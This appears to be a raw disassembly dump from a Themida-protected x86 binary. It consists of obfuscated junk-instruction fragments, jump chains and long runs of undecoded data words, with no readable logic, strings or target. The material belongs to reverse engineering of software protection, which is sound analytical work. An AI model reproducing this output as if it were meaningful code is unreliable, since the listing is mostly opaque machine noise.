90FEE3Fh, 0EA8158C2h, 36B120C0h, 9AF1E9h, 42DAF700h dd 65DFC281h, 0C281694Dh, 1D8D1065h, 0FFCD0FE9h, 6AE952FFh dd 810000C9h, 0B422DC6h, 81DEF739h, 0DB66A0EEh, 0C3EAE930h dd 0D0F70000h, 3E36FF35h, 0FB153522h, 0C189D54Dh, 0E9D1F758h dd 1D95h, 0AD3E7ABFh, 669EE931h, 34FF0000h, 7F1AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548AFA: ; CODE XREF: Themida_:0054DF00j mov [esp], edx sub esp, 4 jmp loc_547A54 ; --------------------------------------------------------------------------- dd 57242C89h, 685E8CBFh, 77BB5328h, 0E913F2E8h, 4303h ; --------------------------------------------------------------------------- loc_548B1C: ; CODE XREF: Themida_:00551047j sub esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_547B07 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 42Dh, 24048700h, 2434895Ch, 24348B54h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 4C681h, 0EC830000h dd 241C8904h, 6B96E951h, 0E7D00000h, 0A998E9h, 0EF015900h dd 0B534E956h, 0D5870000h, 0DDF7455Ah, 4A76C581h, 27E91EFFh dd 0FF0000C8h, 0A709E930h, 0C468FFFFh, 89000068h, 0E952241Ch dd 0C41Bh, 0E905E0C1h, 0FFFFF3D6h ; --------------------------------------------------------------------------- loc_548BA8: ; CODE XREF: Themida_:00557074j push ecx mov ecx, 0E225B48h add ebp, ecx pop ecx push ebp add dword ptr [esp], 2A5225EFh pop edi sub edi, 2A5225EFh mov ebp, [esp] push edx mov edx, esp jmp loc_5538EF ; --------------------------------------------------------------------------- loc_548BCB: ; CODE XREF: Themida_:00554632j pop esp jmp loc_54A31D ; --------------------------------------------------------------------------- loc_548BD1: ; CODE XREF: Themida_:005580F3j pop edi and eax, 61584DB5h push edi mov edi, 1 jmp loc_54F55E ; --------------------------------------------------------------------------- dw 0EF01h dd 0FFEE5DE9h, 58C289FFh, 0FEBE56h, 0F6815926h, 26A4F9Bh dd 72CE8146h, 81293E52h, 3C7D18F6h, 0E9F1017Eh, 5D93h dd 24048966h, 0F484E9h, 242C8700h, 0B3BE9h, 0B9515800h dd 31112502h, 0D5F7E987h, 6EE9E987h, 520000EFh, 0EA80BAB2h dd 5AD58837h, 0FFCC67E9h db 0FFh ; --------------------------------------------------------------------------- loc_548C3D: ; CODE XREF: Themida_:0054B402j xor ebp, esi jmp loc_549B49 ; --------------------------------------------------------------------------- loc_548C44: ; CODE XREF: Themida_:0055475Dj xchg ebx, [esp] pop esp sub esp, 4 jmp loc_553209 ; --------------------------------------------------------------------------- aAuohrr db '─Н╝hrR',0 dw 8900h dd 0F188240Ch, 68E7E952h, 0EC830000h, 24148904h, 0AA047BBAh dd 4E2C128h, 4977C281h, 0F74253EAh, 0D4EA81DAh, 0E921756Eh dd 0FFFFC4A0h, 525FFA29h, 42474FFh, 24048F5Ah, 8924248Bh dd 0FCE92404h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C9F: ; CODE XREF: Themida_:0054FB8Aj xor eax, [esp] pop esp shr ecx, 0 or eax, eax jz loc_54A2EA push 56AAh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 3C1h mov [esp], ebx mov ebx, esp push esi jmp loc_552DBD ; --------------------------------------------------------------------------- loc_548CD5: ; CODE XREF: Themida_:005490F0j sub esp, 4 mov [esp], ebx push edx push ebx mov ebx, 39FB059Eh mov edx, ebx pop ebx push edx push 16B17EFEh pop edx dec edx xor edx, 0D0B5849Bh push ecx mov ecx, edx mov ebx, ecx pop ecx pop edx add ebx, edx pop edx add ecx, ebx mov ebx, [esp] jmp loc_552980 ; --------------------------------------------------------------------------- loc_548D07: ; CODE XREF: Themida_:00556338j pop edx sub al, 0FFh push cx mov ch, 1Dh and al, ch pop cx push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_554265 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 8F5B0424h, 665C2404h, 5024148Bh, 4055854h, 2D000000h dd 4, 0FFC7A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_548D49: ; CODE XREF: Themida_:0055834Ej mov [esp], esi mov esi, 4 jmp loc_551D42 ; --------------------------------------------------------------------------- dw 0ED81h dd 0CDC7A4Fh, 0ACC58159h, 81167B56h, 5C5824C5h, 81D5014Ch dd 5C5824EDh, 0ACED814Ch, 68167B56h, 483Ah, 0E9243C89h dd 0FFFFF3DAh, 0FB895F55h, 0EBC15D5Fh, 0F06DE903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548D92: ; CODE XREF: Themida_:00557B90j pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55462F ; --------------------------------------------------------------------------- dd 0B8240489h, 70B12888h, 4503EB81h, 0BA521E0Dh, 6867693Eh dd 46D6E281h, 0E2E966BCh, 5BFFFFFCh, 3104C483h, 2434FFC8h dd 9835E9h, 241C8B00h, 4C481h, 89500000h, 405E0h, 0C0830000h dd 0AC29E904h, 295DFFFFh, 51535BD9h, 0A17BE9h db 0 ; --------------------------------------------------------------------------- loc_548DF5: ; CODE XREF: Themida_:00556436j pop eax xchg eax, esi not esi xchg eax, esi xchg eax, edx push eax push edx mov eax, [esp] add esp, 4 pop edx jmp loc_557B95 ; --------------------------------------------------------------------------- loc_548E0C: ; CODE XREF: Themida_:0054F431j sub esp, 4 mov [esp], eax mov eax, 0B5E5C84h sub [esp+4], eax pop eax pop edx jmp loc_554B93 ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 34FFD001h, 0C4835A24h, 43B52D04h, 0F8295141h dd 4143B505h, 648E2D51h, 3C8B3F5Ah, 0E7895724h, 556FB951h dd 0E1810EB8h, 3D882FCFh, 54BF181h, 0CF010C88h, 4C78359h dd 31243C33h, 3C33243Ch, 0AE685C24h, 0E900006Ah, 0FFFFA4A4h dd 6007ED81h, 0C2E9624Dh db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548E83: ; CODE XREF: Themida_:0055643Ej add edx, edi mov edi, [esp] push esi mov esi, esp add esi, 4 push edi mov edi, 4 jmp loc_54701F ; --------------------------------------------------------------------------- loc_548E9C: ; CODE XREF: Themida_:0055778Dj or eax, eax jz loc_5459A7 push ebx push ecx mov ecx, 37D8361Dh xor ecx, 37D83601h mov ebx, ecx jmp loc_549FA9 ; --------------------------------------------------------------------------- dd 0E904C083h, 28C9h ; --------------------------------------------------------------------------- loc_548EC0: ; CODE XREF: Themida_:0054E1AEj add esp, 4 xor eax, 645E56A3h jmp loc_54A61D ; --------------------------------------------------------------------------- db 53h, 55h, 0BDh dd 241D56F5h, 0B381E9h, 6BE98100h, 89AF57F3h, 0EDC159CDh dd 4E5C102h, 3696C581h, 26E93DEAh, 0BE0000EEh, 4E6F397Ch dd 4081EE81h, 0E94E5B5Dh, 592Fh ; --------------------------------------------------------------------------- loc_548F04: ; CODE XREF: Themida_:005499CBj add esp, 4 mov ebx, 6AD6E005h jmp loc_556516 ; --------------------------------------------------------------------------- loc_548F11: ; CODE XREF: Themida_:00554804j pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5455FB ; --------------------------------------------------------------------------- db 0C1h dd 9CE903E1h, 890000EBh, 468243Ch, 5F000000h, 0BEB5E951h dd 0E7C1FFFFh, 4EC8304h, 3533E9h db 0 ; --------------------------------------------------------------------------- loc_548F45: ; CODE XREF: Themida_:005500A1j push ebx pop eax pop ebx or edi, eax jmp loc_5451F5 ; --------------------------------------------------------------------------- loc_548F4F: ; CODE XREF: Themida_:005444BEj sub esp, 4 jmp loc_545F4F ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 4EF81h, 3C870000h, 3C895C24h, 3606E924h dd 0E95C0000h, 4CACh, 24048F5Ah, 8A24248Bh, 8804244Ch dd 0FF04245Ch, 535B2434h, 0C381E389h, 4, 4BF57h, 0FB010000h dd 241C875Fh, 6719E9h db 0 ; --------------------------------------------------------------------------- loc_548FA5: ; CODE XREF: Themida_:00556044j mov [esp], edi jmp loc_5534EF ; --------------------------------------------------------------------------- aMsK db ',MИо┼',0 align 4 loc_548FB4: ; CODE XREF: Themida_:00550DA5j add esp, 4 jmp loc_54A796 ; --------------------------------------------------------------------------- dd 4C481h, 0BE560000h, 4, 335EF001h, 4312404h, 24043324h dd 4060E95Ch, 34FF0000h, 0C4815A24h, 4, 6A99E9h, 6F432D00h dd 0E8016DADh, 6F43BE56h, 2B2D6DADh, 15F5A76h, 762B05F0h dd 5D5E5F5Ah, 731FE9h, 35E95900h, 0C00000B8h, 8EE902E5h dd 550000A4h, 954417BDh, 5DE88938h, 0CB48E9h, 34FF5B00h dd 0E9555D24h, 0D19Eh, 0E99DEE80h, 5919h ; --------------------------------------------------------------------------- loc_549038: ; CODE XREF: Themida_:00547743j sub ecx, edi add ecx, 14FC1E5Fh pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebx jmp loc_54E3E9 ; --------------------------------------------------------------------------- loc_549053: ; CODE XREF: Themida_:00554494j add esp, 4 push ebp push esi mov esi, 7B2461B6h mov ebp, esi pop esi xor eax, ebp mov ebp, [esp] add esp, 4 push 0B99h mov [esp], ecx jmp loc_550AE2 ; --------------------------------------------------------------------------- loc_549075: ; CODE XREF: Themida_:0054C295j mov eax, [esp] push ebx jmp loc_545B05 ; --------------------------------------------------------------------------- dw 0F681h dd 0D740D0Eh, 214CF681h, 0F0316DF3h, 0FFC677E9h db 0FFh ; --------------------------------------------------------------------------- loc_549091: ; CODE XREF: Themida_:0054E13Aj pop esi jmp loc_552A57 ; --------------------------------------------------------------------------- loc_549097: ; CODE XREF: Themida_:00550323j mov esi, [esp] add esp, 4 add esp, 4 add esi, 4 jmp loc_54491A ; --------------------------------------------------------------------------- dw 1487h dd 24248B24h, 4EC81h, 14890000h, 0F1C0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5490C2: ; CODE XREF: Themida_:0054BB22j pop esi jmp loc_54C661 ; --------------------------------------------------------------------------- loc_5490C8: ; CODE XREF: Themida_:005501B2j neg cl jmp loc_545B2E ; --------------------------------------------------------------------------- loc_5490CF: ; CODE XREF: Themida_:0054FF7Dj xchg edx, [esp] mov esp, [esp] add esp, 4 jmp loc_54B0BE ; --------------------------------------------------------------------------- loc_5490E0: ; CODE XREF: Themida_:005433A0j push 7271h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_548CD5 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 0FFB3C6E9h, 0E9FE31FFh, 0CB90h dword_549104 dd 0FF2434FFh, 39E92434h, 8F00001Ch, 248B2404h, 24048124h ; DATA XREF: Themida_:00542FC0o dd 34940B04h, 0A1242C81h, 812B6A32h, 67802404h, 429786Fh dd 0E0895024h, 405h, 9143E900h, 2D5D0000h, 56A103E3h, 0E305F829h dd 5F56A103h, 0FFA436E9h, 3511B8FFh, 0AD355531h, 8945DA6Eh dd 5707E9C1h, 0C1810000h, 4, 8704C183h, 0DEE9240Ch, 0C1000099h dd 0C58108EDh, 49D23699h, 0E95DEA29h, 16DDh, 0E9240489h dd 0E0B0h, 0CF88E188h, 88D7F659h, 0F4805BFCh, 0C50DE9BCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54919A: ; CODE XREF: Themida_:0054BECCj sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_556869 ; --------------------------------------------------------------------------- loc_5491B0: ; CODE XREF: Themida_:00554540j pop esp jmp loc_546899 ; --------------------------------------------------------------------------- loc_5491B6: ; CODE XREF: Themida_:005583BEj dec esi jmp loc_544519 ; --------------------------------------------------------------------------- loc_5491BC: ; CODE XREF: Themida_:0054657Ej mov [esp], ebp mov ebp, 5B3A0E87h xor ebp, 766A014Eh jmp loc_55134B ; --------------------------------------------------------------------------- db 54h dd 4EC815Eh, 89000000h, 45B9240Ch, 0C15E1313h, 39E908E9h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5491E7: ; CODE XREF: Themida_:00553E12j pop edi shl edi, 3 or edi, 0B125974h jmp loc_5435BA ; --------------------------------------------------------------------------- dw 8966h dd 81662424h, 22404h, 24048F66h, 2EC81h, 89660000h, 6657240Ch dd 0E920B168h, 0DF00h, 8904EC83h, 6856242Ch, 76E4027Dh dd 0CAF6815Eh, 0E978013Dh, 4FCAh dword_549230 dd 24048B66h, 6102E9h, 4BB00h, 0DD010000h, 6066E95Bh, 0EE800000h ; DATA XREF: Themida_:005430CCo dd 8FE68005h, 0F680D6F6h, 36E68079h, 4D41E9h, 5BDA3100h dd 15AD031h, 5E5758C7h, 0E9243C8Bh, 0FFFFB170h, 0F7D7F747h dd 1A9BE9DFh, 0E9580000h, 0FFFFBBF0h, 0BD242C89h, 20947F18h dd 1ED81h, 0D3E90000h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54928F: ; CODE XREF: Themida_:0054F548j mov ebx, 0CA2AA501h jmp loc_54AED9 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 8 dd 7886EB81h, 5350149Fh, 0B93BB0BBh, 9763B845h, 0D82965CEh dd 18E72D5Bh, 0B5E9241Eh db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5492BB: ; CODE XREF: Themida_:0054EB5Ej mov bl, cl pop ecx pop edx jmp loc_549E82 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 0BF575224h, 7259521Eh, 0BE5FFA89h dd 4B4DC09h, 0C232E9h, 274BBA00h, 0E2D1428Ah, 22E9DAF7h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5492EF: ; CODE XREF: Themida_:0054B2A2j mov ebx, 48332CF0h push 6F29h mov [esp], eax jmp loc_5493BA ; --------------------------------------------------------------------------- db 81h, 0C5h, 0C9h dd 0E93EC80Ch, 0C3F7h, 8359CD01h, 0EBE904C5h, 5FFFFDFh dd 5EC50C08h, 0AF22E9h db 0 ; --------------------------------------------------------------------------- loc_549321: ; CODE XREF: Themida_:00555A52j pop ebx add ebx, 4 push edi mov edi, 4 sub ebx, edi jmp loc_552E86 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 0D564h, 5FF9015Ah, 0E9240C87h, 11Eh, 0F280CAFEh dd 8BD13004h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 0D74BE95Ch db 2 dup(0) word_54936E dw 8B66h ; DATA XREF: Themida_:005430DCo dd 8953240Ch, 0EE19E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54937A: ; CODE XREF: Themida_:0055096Bj xor dword ptr [esp], 34026BF4h pop edx xor edx, 34026BF4h pop eax add eax, edx jmp loc_54FC44 ; --------------------------------------------------------------------------- loc_549390: ; CODE XREF: Themida_:0054458Ej sub esp, 4 mov [esp], eax mov eax, 4CD468EFh jmp loc_547F06 ; --------------------------------------------------------------------------- loc_5493A0: ; CODE XREF: Themida_:0054B7B9j add esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp shr ecx, 0Bh push ebx push dword ptr [esp] pop eax jmp loc_5482F0 ; --------------------------------------------------------------------------- loc_5493BA: ; CODE XREF: Themida_:005492FCj push 1B184DB1h pop eax push ebx jmp loc_5486CD ; --------------------------------------------------------------------------- dw 166h dd 6604246Ch, 4481665Dh, 3050224h, 244C0166h, 6C816602h dd 3050224h, 246C8166h, 6645EA02h, 53240C8Bh, 0C381E389h dd 4, 4F02BF57h, 0DCE97E54h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5493FF: ; CODE XREF: Themida_:00550E89j add esp, 4 or edx, eax shl edx, 1 push ecx push edx push 99F187Ch pop edx push edi mov edi, 21E260EAh or edi, 301C36h or edi, 76E52CBEh sub edi, 6F6A65B4h sub edi, 0ED74EAEh push edx mov edx, 0EAE7C6DFh sub edi, edx pop edx add edx, edi mov edi, [esp] push edx mov edx, esp push edi jmp loc_5516B5 ; --------------------------------------------------------------------------- aIS db '┴щИ',0Dh,0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_54944A: ; CODE XREF: Themida_:005488CAj push ebx mov ebx, 12B82E2Fh neg ebx jmp loc_5442D8 ; --------------------------------------------------------------------------- db 0FFh dd 835B2434h, 0F10504C4h, 12B0954h, 0B4BCE9E8h, 835C0000h dd 0B95104C4h, 4, 0FFFE93E9h db 0FFh ; --------------------------------------------------------------------------- loc_549479: ; CODE XREF: Themida_:0054879Cj add esi, 4 sub esi, 4 jmp loc_54EDB0 ; --------------------------------------------------------------------------- db 0C1h dd 0FA3506E8h, 3544FD6Ah, 10AE15F7h, 5258C529h, 0D82B31BAh dd 8A26E941h, 0F7930000h, 0E94893D3h, 6C52h, 91BBF57h dd 4DE96FE5h, 53FFFFD6h, 667EE9h, 5EF12900h, 38FBE9h, 24043300h dd 0F24248Bh, 9C51C8AFh, 0FFBA39E9h, 2E13BBFFh, 434B13BDh dd 0D69AE9h, 1585B00h, 241C8BDFh, 0E904C483h, 20D0h, 52ADC181h dd 76E93009h, 0FF00001Bh, 8E92434h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_549503: ; CODE XREF: Themida_:00548335j pop ebx push 5B53h mov [esp], ecx mov ecx, 683836CCh dec ecx push edx mov edx, 62A02563h and ecx, edx pop edx jmp loc_55360C ; --------------------------------------------------------------------------- dd 14E979B7h, 890000D9h, 0E952241Ch, 2908h ; --------------------------------------------------------------------------- loc_549530: ; CODE XREF: Themida_:005478AFj mov ecx, eax mov esi, ecx mov ecx, [esp] add esp, 4 jmp loc_54E68C ; --------------------------------------------------------------------------- byte_54953F db 0FFh ; DATA XREF: Themida_:00542FC8o dd 669D1C77h, 1CD36659h, 4CE99C24h, 81FFFF9Dh, 4C1h, 4C18100h dd 0E9000000h, 9EB9h, 77D4BA52h, 54014D5Dh, 62E90424h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54956F: ; CODE XREF: Themida_:00543877j pop ebx push ebp jmp loc_5530E8 ; --------------------------------------------------------------------------- dw 0AD05h a3OsT db '3ьoИз▓',0 align 10h loc_549580: ; CODE XREF: Themida_:00545D8Bj xor ebx, 120C7AD7h or eax, ebx jmp loc_5517CF ; --------------------------------------------------------------------------- aSsj db ']Иs╕',0 dw 3100h dd 34332434h, 0B987E924h, 3C89FFFFh, 6B166824h, 0E95F4421h dd 2E8Fh ; --------------------------------------------------------------------------- loc_5495AC: ; CODE XREF: Themida_:005503EFj sub edx, 6A0206D9h shl edx, 4 sub edx, 3F651C01h sub eax, edx jmp loc_548798 ; --------------------------------------------------------------------------- dw 0C281h dd 74548AAh, 1AB8EA81h, 0FA01381Fh, 1AB8C281h, 0EA81381Fh dd 74548AAh, 0E904EC83h, 841Bh, 158C689h, 5E042474h, 0AB49E9h db 0 ; --------------------------------------------------------------------------- loc_5495F1: ; CODE XREF: Themida_:0054E95Dj push 0E5C12F3h pop eax add eax, 1EF826ECh mov esi, eax jmp loc_55434B ; --------------------------------------------------------------------------- db 0FFh a4SB db '4$И^│',0 dw 3300h dd 248B240Ch, 4FF6624h, 80E99C24h, 52FFFF9Ch, 0B279AEBAh dd 0BD554A55h, 0 dd 0EA87D529h, 0FFE3EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_549631: ; CODE XREF: Themida_:0054A28Fj mov edx, ecx pop ecx xor edx, 43565D75h sub ebx, edx pop edx mov eax, ebx mov ebx, [esp] jmp loc_54E6F1 ; --------------------------------------------------------------------------- loc_549647: ; CODE XREF: Themida_:0054D678j push esp pop ebp jmp loc_553CF8 ; --------------------------------------------------------------------------- dw 0F031h dd 5E2434FFh, 8904EC83h, 0EC81241Ch, 4, 83242489h, 8B042404h dd 8FE9241Ch, 0BE0000CAh, 55A423CEh, 8247401h, 2454295Eh dd 246C8104h, 0A423CE04h, 24148B55h, 81E38953h, 4C3h, 4C38300h dd 0FFC61AE9h, 4B8FFh, 0C3810000h, 2BAC28CCh, 0EB81C301h dd 2BAC28CCh, 241C3358h, 33241C31h, 15C241Ch, 0E9042444h dd 0EC14h, 0E924048Fh, 0D86Bh, 0E1BB5359h, 1610E34h, 1C8B5BD9h dd 4C48124h, 1000000h, 2434FFCDh, 4C48359h, 4AB7E955h dd 895B0000h, 9CD2E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5496F2: ; CODE XREF: Themida_:0054ECA1j mov edx, 94B3D4Bh xchg edi, edx jmp loc_557F1A ; --------------------------------------------------------------------------- loc_5496FE: ; CODE XREF: Themida_:005521BDj sub eax, 4 jmp loc_5550DD ; --------------------------------------------------------------------------- dw 2D66h dd 56647BFh, 296666ADh, 0E95566D8h, 0A013h, 0C77172B8h dd 0E6B3E923h, 0F7500000h, 48B2414h, 4C48324h, 406F2335h dd 58C18964h, 0C286E9h, 1C895C00h, 319DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549742: ; CODE XREF: Themida_:0054D4A7j pop edi neg edi neg edi sub edi, 17AF849h mov esi, edi push dword ptr [esp] pop edi jmp loc_5541AA ; --------------------------------------------------------------------------- dd 0C8B60F5Ch, 4224E9h, 243C8700h, 68F6E9h, 67C46800h dd 0C890000h, 52D18824h, 51CB8853h, 0CE88D988h, 241C8B59h dd 8804C483h, 24148BF4h, 4C481h, 34FF0000h, 0E9575924h dd 0FFFFAE62h, 4830BE56h, 0ABE97999h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5497A3: ; CODE XREF: Themida_:00557DA3j add eax, 0CE4CF15Ah sub ebp, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_54800A ; --------------------------------------------------------------------------- db 55h dd 4BDh, 5DE80100h, 9C685253h, 8B246920h, 0C4832414h, 4EB85004h dd 0C155B65Ch, 0DAE906E0h, 50FFFFF2h, 0EC81E089h, 4, 0B9240C89h dd 4, 593E7105h, 90AFE934h, 0BE560000h, 9A31B6Bh, 95EF001h dd 2AE958C1h, 8B0000E6h, 50E9242Ch db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549813: ; CODE XREF: Themida_:0055313Fj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add ebx, edi sub ebx, 3F9010CDh sub esp, 4 mov [esp], eax mov eax, edx jmp loc_5478A3 ; --------------------------------------------------------------------------- db 80h dd 0F68031CEh, 9ABEE911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54984E: ; CODE XREF: Themida_:0054402Dj pop ecx push edi jmp loc_54346D ; --------------------------------------------------------------------------- loc_549855: ; CODE XREF: Themida_:0055385Bj add edx, ecx mov ecx, [esp] add esp, 4 push esi jmp loc_54D7D7 ; --------------------------------------------------------------------------- loc_549863: ; CODE XREF: Themida_:005434BBj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push esi jmp loc_557C35 ; --------------------------------------------------------------------------- loc_549872: ; CODE XREF: Themida_:00556DC6j mov [esp], edi push 4923h mov [esp], ebp jmp loc_556D96 ; --------------------------------------------------------------------------- aZSls db '┤жИ╚≥',0 dd 241C8B00h, 6EE168h, 24048900h, 24048B54h, 504C483h dd 4, 405h, 24048700h, 94CDE9h db 0 ; --------------------------------------------------------------------------- loc_5498AD: ; CODE XREF: Themida_:00555D71j push esp pop esi add esi, 4 add esi, 4 jmp loc_5559B3 ; --------------------------------------------------------------------------- db 81h, 0EFh, 7Dh dd 81665974h, 0CF0F2BC7h, 0F5EF8168h, 1074A0Dh, 0F5C781DFh dd 81074A0Dh, 0CF0F2BEFh, 8612E968h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5498E2: ; CODE XREF: Themida_:00555CE7j mov esi, 4 push esi mov esi, 0FB21E78h dec esi sub esi, 10CE1B1Ch xor esi, 88496AB8h add edi, esi pop esi add edi, esi sub edi, 76AD69E3h mov esi, [esp] add esp, 4 xchg edi, [esp] pop esp add [edi+24h], ebx push dword ptr [esp] mov ebx, [esp] jmp loc_552161 ; --------------------------------------------------------------------------- loc_54991D: ; CODE XREF: Themida_:0054F078j mov ebp, [esp] jmp loc_54C1B7 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 52000000h, 258968h, 0F1D2E900h, 0E957FFFFh, 9A2Eh, 0F8BD6655h dd 0F5816619h, 1666FB2h, 81665DEBh, 6603C7C3h, 0A32D665Ah dd 0FDACE940h db 2 dup(0FFh) word_54995A dw 8B66h ; DATA XREF: Themida_:005431A4o dd 0CD682404h, 89000010h, 0C0E9241Ch db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54996B: ; CODE XREF: Themida_:00546EDDj add esi, 0BA8A9CD8h add ebx, esi push dword ptr [esp] pop esi push esi mov esi, esp jmp loc_555D89 ; --------------------------------------------------------------------------- loc_54997F: ; CODE XREF: Themida_:0054A67Aj sub ebx, 0FFFFFFFFh push 2650h mov [esp], ecx push 57F27CF2h pop ecx shr ecx, 1 xor ecx, 3EAF51A0h dec ecx xor ecx, 308267EDh push ebx push ecx push ebp mov ebp, 4FF0679Eh inc ebp shl ebp, 2 xor ebp, 53826D80h push ecx mov ecx, 424A6ACEh and ebp, ecx pop ecx shl ebp, 3 add ebp, 4B674DFEh mov ecx, ebp mov ebp, [esp] jmp loc_548F04 ; --------------------------------------------------------------------------- dd 4EC815Bh, 89000000h, 0D7682414h, 8900000Ch, 4812424h dd 424h, 0C2815A00h, 4, 4EA81h, 0E9520000h, 5698h, 582BEB80h dd 888BEB80h, 241C8BD9h, 4C481h, 0E9800000h, 6D70E901h dd 0C1420000h, 0E95306E2h, 0FFFFC518h, 955E981h, 0E9811539h dd 70C781Ch, 4BDAE981h, 0F1815EB6h, 6A7A6BFAh, 0E904EC83h dd 0FFFFCE1Ah ; --------------------------------------------------------------------------- loc_549A40: ; CODE XREF: Themida_:00546685j push edx mov edx, 5D1E28EFh shl edx, 8 sub edx, 1E28EEFCh add ecx, edx pop edx sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx jmp loc_548A0C ; --------------------------------------------------------------------------- loc_549A6A: ; CODE XREF: Themida_:00550843j sub ecx, 0BE830C2h push esi mov esi, 63F800D5h shr esi, 4 jmp loc_54AFDE ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 4EC81h, 1C890000h, 6653E924h, 50000h, 541E07Ah dd 67517ADFh, 0DAD6E9h db 0 ; --------------------------------------------------------------------------- loc_549AA1: ; CODE XREF: Themida_:00553AD3j add edx, esi jmp loc_54D8B4 ; --------------------------------------------------------------------------- dd 8B240433h, 0E1F62424h, 0CCB60F66h, 81E18951h, 4C1h dd 4E98100h, 51000000h, 0D3DAE9h, 2DF58100h, 9CEF0F3h dd 0F2875DEAh, 0F287DEF7h, 717DBD55h, 7AE90162h, 10000C1h dd 5DC781EFh, 8B0A952Fh, 0C483242Ch, 2C78304h, 0FFEC07E9h dd 0B95155FFh, 24146FCFh, 0E9D1F741h, 0FFFFD64Bh, 6FE9E189h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B0F: ; CODE XREF: Themida_:0054BE62j push 46D8689Dh mov esi, [esp] add esp, 4 push ebx mov ebx, 25B90C85h add esi, 58610FC5h push 7598h mov [esp], edi mov edi, 1D83601Dh sub esi, edi pop edi sub esi, ebx add esi, 1D83601Dh sub esi, 58610FC5h jmp loc_555F44 ; --------------------------------------------------------------------------- loc_549B49: ; CODE XREF: Themida_:00548C3Fj mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_54C8CF ; --------------------------------------------------------------------------- dw 0EC83h dd 24148904h, 42474FFh, 0FFF40FE9h, 36C281FFh, 1434E78h dd 1FBE56C2h, 5558A83Eh, 0FFEBD2E9h db 0FFh ; --------------------------------------------------------------------------- loc_549B7D: ; CODE XREF: Themida_:00544F9Fj pop eax jmp loc_550F71 ; --------------------------------------------------------------------------- loc_549B83: ; CODE XREF: Themida_:0055308Bj add edi, 0FFFFFFFFh sub edi, 5F92428Dh or esi, edi mov edi, [esp] add esp, 4 xor esi, 0ADFC7A48h jmp loc_5570D4 ; --------------------------------------------------------------------------- loc_549B9F: ; CODE XREF: Themida_:00553726j add edi, offset byte_490467 add edi, 18E862C2h push edx mov edx, 752B1E2Eh xor edx, 49592B8Ah xor edx, 55C55516h shr edx, 8 sub edx, 290F3F40h xchg ebx, edx not ebx xchg ebx, edx add edx, 0E36D8DBh and edi, edx jmp loc_557701 ; --------------------------------------------------------------------------- loc_549BD9: ; CODE XREF: Themida_:005537FEj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_55605F ; --------------------------------------------------------------------------- dd 4247401h, 8124348Bh, 4C4h, 24048F00h, 4BF57h, 2E90000h dd 0BBFFFF98h, 4, 875BDE01h, 0E95C2434h, 0FFFFC7D6h, 8958C701h dd 42E95FFAh, 830000B5h, 8F042404h, 0BE562404h, 4, 0CF82E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C3E: ; CODE XREF: Themida_:005451F0j add [esp+4], esi jmp loc_551747 ; --------------------------------------------------------------------------- db 89h dd 0EC83243Ch, 241C8904h, 389968h, 48F5400h, 8739E924h dd 875E0000h, 0ADE9241Ch db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549C67: ; CODE XREF: Themida_:005564A9j xchg ecx, [esp] jmp loc_546535 ; --------------------------------------------------------------------------- loc_549C6F: ; CODE XREF: Themida_:00543D11j push 2CBh mov [esp], ebx jmp loc_547328 ; 